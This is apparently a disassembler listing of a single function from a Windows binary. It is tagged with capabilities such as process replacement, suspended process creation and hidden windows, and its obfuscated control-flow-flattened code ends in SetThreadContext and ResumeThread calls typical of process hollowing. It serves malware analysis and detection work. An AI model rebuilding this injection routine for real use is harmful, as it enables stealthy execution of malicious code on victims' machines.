Function at 0x10003370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf4
mov eax, dword [0x1006a000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xfc], 0x29508e66
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], eax
sub eax, 0x806b4674
je 0x10005e51
jmp 0x100033ac
mov eax, dword [ebp - 0x100]
sub eax, 0x8094ddca
je 0x1000608c
jmp 0x100033c2
mov eax, dword [ebp - 0x100]
sub eax, 0x82d6c85e
je 0x10005d11
jmp 0x100033d8
mov eax, dword [ebp - 0x100]
sub eax, 0x82e17ab2
je 0x1000aa4d
jmp 0x100033ee
mov eax, dword [ebp - 0x100]
sub eax, 0x84766749
je 0x10008d88
jmp 0x10003404
mov eax, dword [ebp - 0x100]
sub eax, 0x8512853d
je 0x10007df8
jmp 0x1000341a
mov eax, dword [ebp - 0x100]
sub eax, 0x8633a1d7
je 0x10007b0a
jmp 0x10003430
mov eax, dword [ebp - 0x100]
sub eax, 0x8668643d
je 0x1000ad05
jmp 0x10003446
mov eax, dword [ebp - 0x100]
sub eax, 0x867c175c
je 0x10009c0a
jmp 0x1000345c
mov eax, dword [ebp - 0x100]
sub eax, 0x86a322c5
je 0x10009ac3
jmp 0x10003472
mov eax, dword [ebp - 0x100]
sub eax, 0x86f01112
je 0x10005d02
jmp 0x10003488
mov eax, dword [ebp - 0x100]
sub eax, 0x87837967
je 0x100090c2
jmp 0x1000349e
mov eax, dword [ebp - 0x100]
sub eax, 0x88be0455
je 0x10009fdc
jmp 0x100034b4
mov eax, dword [ebp - 0x100]
sub eax, 0x89a1851f
je 0x10006f25
jmp 0x100034ca
mov eax, dword [ebp - 0x100]
sub eax, 0x8a18564a
je 0x10006016
jmp 0x100034e0
mov eax, dword [ebp - 0x100]
sub eax, 0x8a4f78cc
je 0x1000a351
jmp 0x100034f6
mov eax, dword [ebp - 0x100]
sub eax, 0x8a6a5e11
je 0x1000624b
jmp 0x1000350c
mov eax, dword [ebp - 0x100]
sub eax, 0x8b11ac55
je 0x1000933d
jmp 0x10003522
mov eax, dword [ebp - 0x100]
sub eax, 0x8b545b31
je 0x100058b3
jmp 0x10003538
mov eax, dword [ebp - 0x100]
sub eax, 0x8b895842
je 0x1000ae7e
jmp 0x1000354e
mov eax, dword [ebp - 0x100]
sub eax, 0x8bd45bed
je 0x10007afb
jmp 0x10003564
mov eax, dword [ebp - 0x100]
sub eax, 0x8c785f1c
je 0x100075e4
jmp 0x1000357a
mov eax, dword [ebp - 0x100]
sub eax, 0x8d4aa0d9
je 0x1000a7a3
jmp 0x10003590
mov eax, dword [ebp - 0x100]
sub eax, 0x8f01662f
je 0x10009b34
jmp 0x100035a6
mov eax, dword [ebp - 0x100]
sub eax, 0x8f0a26e6
je 0x100066b0
jmp 0x100035bc
mov eax, dword [ebp - 0x100]
sub eax, 0x8ff2aed6
je 0x10006289
jmp 0x100035d2
mov eax, dword [ebp - 0x100]
sub eax, 0x90c70404
je 0x10008033
jmp 0x100035e8
mov eax, dword [ebp - 0x100]
sub eax, 0x9208b65d
je 0x1000a8e8
jmp 0x100035fe
mov eax, dword [ebp - 0x100]
sub eax, 0x9214592a
je 0x10006504
jmp 0x10003614
mov eax, dword [ebp - 0x100]
sub eax, 0x92559517
je 0x1000634c
jmp 0x1000362a
mov eax, dword [ebp - 0x100]
sub eax, 0x933d086e
je 0x10007de9
jmp 0x10003640
mov eax, dword [ebp - 0x100]
sub eax, 0x938d7cef
je 0x10005894
jmp 0x10003656
mov eax, dword [ebp - 0x100]
sub eax, 0x93db555c
je 0x10008e9e
jmp 0x1000366c
mov eax, dword [ebp - 0x100]
sub eax, 0x96a1ac7a
je 0x100061cb
jmp 0x10003682
mov eax, dword [ebp - 0x100]
sub eax, 0x974c2f29
je 0x1000ad6c
jmp 0x10003698
mov eax, dword [ebp - 0x100]
sub eax, 0x981a9efb
je 0x10008cf9
jmp 0x100036ae
mov eax, dword [ebp - 0x100]
sub eax, 0x98ff6a8c
je 0x1000718c
jmp 0x100036c4
mov eax, dword [ebp - 0x100]
sub eax, 0x9b1a3516
je 0x1000a791
jmp 0x100036da
mov eax, dword [ebp - 0x100]
sub eax, 0x9b8dae93
je 0x10008fba
jmp 0x100036f0
mov eax, dword [ebp - 0x100]
sub eax, 0x9c2dfc23
je 0x1000a909
jmp 0x10003706
mov eax, dword [ebp - 0x100]
sub eax, 0x9d74b7a9
je 0x100064e3
jmp 0x1000371c
mov eax, dword [ebp - 0x100]
sub eax, 0x9e038ca6
je 0x10008e8f
jmp 0x10003732
mov eax, dword [ebp - 0x100]
sub eax, 0x9f4fce15
je 0x10006a0d
jmp 0x10003748
mov eax, dword [ebp - 0x100]
sub eax, 0xa03ac337
je 0x1000a98d
jmp 0x1000375e
mov eax, dword [ebp - 0x100]
sub eax, 0xa03fab8d
je 0x1000776f
jmp 0x10003774
mov eax, dword [ebp - 0x100]
sub eax, 0xa0e964c3
je 0x10008e34
jmp 0x1000378a
mov eax, dword [ebp - 0x100]
sub eax, 0xa15c1ae3
je 0x10009f48
jmp 0x100037a0
mov eax, dword [ebp - 0x100]
sub eax, 0xa17f1be7
je 0x10006952
jmp 0x100037b6
mov eax, dword [ebp - 0x100]
sub eax, 0xa1fc8eb9
je 0x10007e19
jmp 0x100037cc
mov eax, dword [ebp - 0x100]
sub eax, 0xa211e6db
je 0x100067a2
jmp 0x100037e2
mov eax, dword [ebp - 0x100]
sub eax, 0xa38ddee5
je 0x10007e36
jmp 0x100037f8
mov eax, dword [ebp - 0x100]
sub eax, 0xa3d8a273
je 0x10007433
jmp 0x1000380e
mov eax, dword [ebp - 0x100]
sub eax, 0xa3da0edd
je 0x1000848c
jmp 0x10003824
mov eax, dword [ebp - 0x100]
sub eax, 0xa51c0241
je 0x1000a066
jmp 0x1000383a
mov eax, dword [ebp - 0x100]
sub eax, 0xa55fdd61
je 0x1000622a
jmp 0x10003850
mov eax, dword [ebp - 0x100]
sub eax, 0xa5e4ffa9
je 0x100062da
jmp 0x10003866
mov eax, dword [ebp - 0x100]
sub eax, 0xa7e4a85c
je 0x10007c13
jmp 0x1000387c
mov eax, dword [ebp - 0x100]
sub eax, 0xa804a0ea
je 0x1000901e
jmp 0x10003892
mov eax, dword [ebp - 0x100]
sub eax, 0xa8e2ed9e
je 0x10007c30
jmp 0x100038a8
mov eax, dword [ebp - 0x100]
sub eax, 0xa8f9a34c
je 0x1000a7b2
jmp 0x100038be
mov eax, dword [ebp - 0x100]
sub eax, 0xa940391d
je 0x1000a56d
jmp 0x100038d4
mov eax, dword [ebp - 0x100]
sub eax, 0xa97b1b78
je 0x10007a73
jmp 0x100038ea
mov eax, dword [ebp - 0x100]
sub eax, 0xa9daf0c6
je 0x10008851
jmp 0x10003900
mov eax, dword [ebp - 0x100]
sub eax, 0xaa6096a8
je 0x10008c0b
jmp 0x10003916
mov eax, dword [ebp - 0x100]
sub eax, 0xaaa63a09
je 0x1000a782
movss xmm0, dword [0x10018398]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0x8b545b31
jmp 0x1000b06c
mov dl, 1
mov eax, 0xf304ce2c
mov ecx, 0x4c8f5872
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x82d6c85e
jmp 0x1000b06c
movss xmm0, dword [0x10018370]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0xc0d499b0
jmp 0x1000b06c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018368]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018364]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x4668d229
jmp 0x1000b06c
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
sub edx, 0x1691b300
sub edx, 1
add edx, 0x1691b300
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf1fe1ad
mov ecx, 0x8094ddca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dl, 1
mov eax, 0x7d6f8ae7
mov ecx, 0xd07294af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dl, 1
mov eax, 0xa55fdd61
mov ecx, 0x426547d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018354]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x8a6a5e11
jmp 0x1000b06c
mov dl, 1
mov eax, 0x92559517
mov ecx, 0x56d8e52a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xab1326e9
sub edx, 1
add edx, 0xab1326e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb20b33d
mov ecx, 0xa5e4ffa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0xb67c872d
sub edx, 1
sub edx, 0xb67c872d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb20b33d
mov ecx, 0xe8faf0b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xc1ce898
sub edx, 1
add edx, 0xc1ce898
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x712d56b
mov ecx, 0xb8df37b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001834c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x9214592a
jmp 0x1000b06c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018348]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x252f27cb
jmp 0x1000b06c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018210]
movss dword [eax], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0x7ffda049
sub edx, 1
add edx, 0x7ffda049
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9208b65d
mov ecx, 0x5c5a397d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001832c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x1f88ba59
jmp 0x1000b06c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001820c]
movss dword [eax], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c2dfc23
mov ecx, 0xb5a738bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018208]
movss dword [eax], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0x4a068ea9
sub edx, 1
add edx, 0x4a068ea9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69108361
mov ecx, 0x388a87e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x3dc4dd39
jmp 0x1000b06c
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xd4ea01dd
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0x388e8e6e
sub edx, 1
add edx, 0x388e8e6e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x252f4496
mov ecx, 0xabd558f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0xc37967f4
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001829c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x7cb79076
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181e0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
sub edx, 0x6f581b8e
sub edx, 1
add edx, 0x6f581b8e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72ed1061
mov ecx, 0x8bd45bed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x8633a1d7
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018288]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x73a66dc6
jmp 0x1000b06c
mov dl, 1
mov eax, 0x8512853d
mov ecx, 0xa8e2ed9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd87377f5
mov ecx, 0x5feff25e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x8512853d
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018284]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xa1fc8eb9
jmp 0x1000b06c
mov dl, 1
mov eax, 0xb8be7511
mov ecx, 0xa38ddee5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018280]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xd16dbf5a
jmp 0x1000b06c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018278]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xdc8b4061
jmp 0x1000b06c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
sub edx, 0xb1957a88
sub edx, 1
add edx, 0xb1957a88
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4cd43051
mov ecx, 0xfe7c1f55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0xf2336e63
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xe34e58f3
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8668643d
mov ecx, 0xd1ce83a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001823c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x44498014
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68799e3f
mov ecx, 0x9e038ca6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x93db555c
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018238]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x785d7db7
jmp 0x1000b06c
mov dl, byte [ebp - 0x7a]
mov eax, 0x9b1a3516
mov ecx, 0x31ff2ba3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dl, byte [ebp - 0x79]
mov eax, 0xaaa63a09
mov ecx, 0x7bfe2df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0xc0]
mov dl, byte [eax]
mov eax, 0x28487c24
mov ecx, 0x1a3d4258
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x593595f6
jmp 0x1000b06c
mov eax, dword [ebp - 0xb0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0x483eacfa
sub edx, 1
add edx, 0x483eacfa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b895842
mov ecx, 0x6ee3e1f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov dl, byte [ebp - 0x39]
mov eax, 0x7dbc9775
mov ecx, 0xf65559b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xe24d6f18
sub edx, 1
add edx, 0xe24d6f18
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59e88b81
mov ecx, 0xca40db98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xebccac2b
mov ecx, 0xfd466363
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov edx, dword [ebp - 0x2c]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x4835a4ab
or edx, ecx
or eax, 0x4835a4ab
xor edx, 0xffffffff
and edx, eax
mov eax, 0xf681e06f
mov ecx, 0x23b99187
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12ad7d59
mov ecx, 0xfa8ad466
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0x87371abf
sub edx, 1
sub edx, 0x87371abf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3bb14bee
mov ecx, 0x1f2e5bf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b06c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0xfc], 0x4399dbc4
jmp 0x1000b06c
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ba00
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xfc], 0x683a5ddb
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0x1bdb1f97
jmp 0x1000b06c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018210]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x8f0a26e6
jmp 0x1000b06c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001820c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xa17f1be7
jmp 0x1000b06c
mov dword [ebp - 0xfc], 0xae5fd661
jmp 0x1000b06c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181e8]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xcdd77694
jmp 0x1000b06c
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x981a9efb
jmp 0x1000b06c
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002ae0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xfc], 0x1aa25b53
jmp 0x1000b06c
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xfc], 0x86a322c5
jmp 0x1000b06c
jmp 0x10003390